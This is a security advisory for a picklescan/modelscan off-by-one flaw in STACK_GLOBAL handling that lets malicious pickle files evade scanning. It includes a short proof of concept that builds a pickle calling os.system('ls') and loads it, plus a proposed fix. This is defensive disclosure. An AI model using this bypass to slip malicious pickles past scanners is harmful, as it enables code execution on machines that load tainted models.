PT-2025-34324 · Pypi · Picklescan

Published

2025-08-12

·

Updated

2025-08-12

CVSS v4.0

8.9

High

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Details

There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK GLOBAL. Function list globals when handling STACK GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.
Example:
  0: S  STRING   'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
  6: S  STRING   'system' --> arg 1: STRING (tracked argument)
  16: x93 STACK GLOBAL
  17: S  STRING   'ls'
  23: x85 TUPLE1
  24: R  REDUCE
  25: .  STOP

PoC

python
import pickle
payload = b"S'os'
S'system'
x93S'ls'
x85R."
with open('bad pickle.pkl', 'wb') as f:
  f.write(payload)
pickle.load(open('bad pickle.pkl', 'rb'))

Impact

Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.

Fix

To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n. https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255

Fix

Deserialization of Untrusted Data

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Weakness Enumeration

CWE-502

Related Identifiers

GHSA-9GVJ-PP9X-GCFR

Affected Products

Picklescan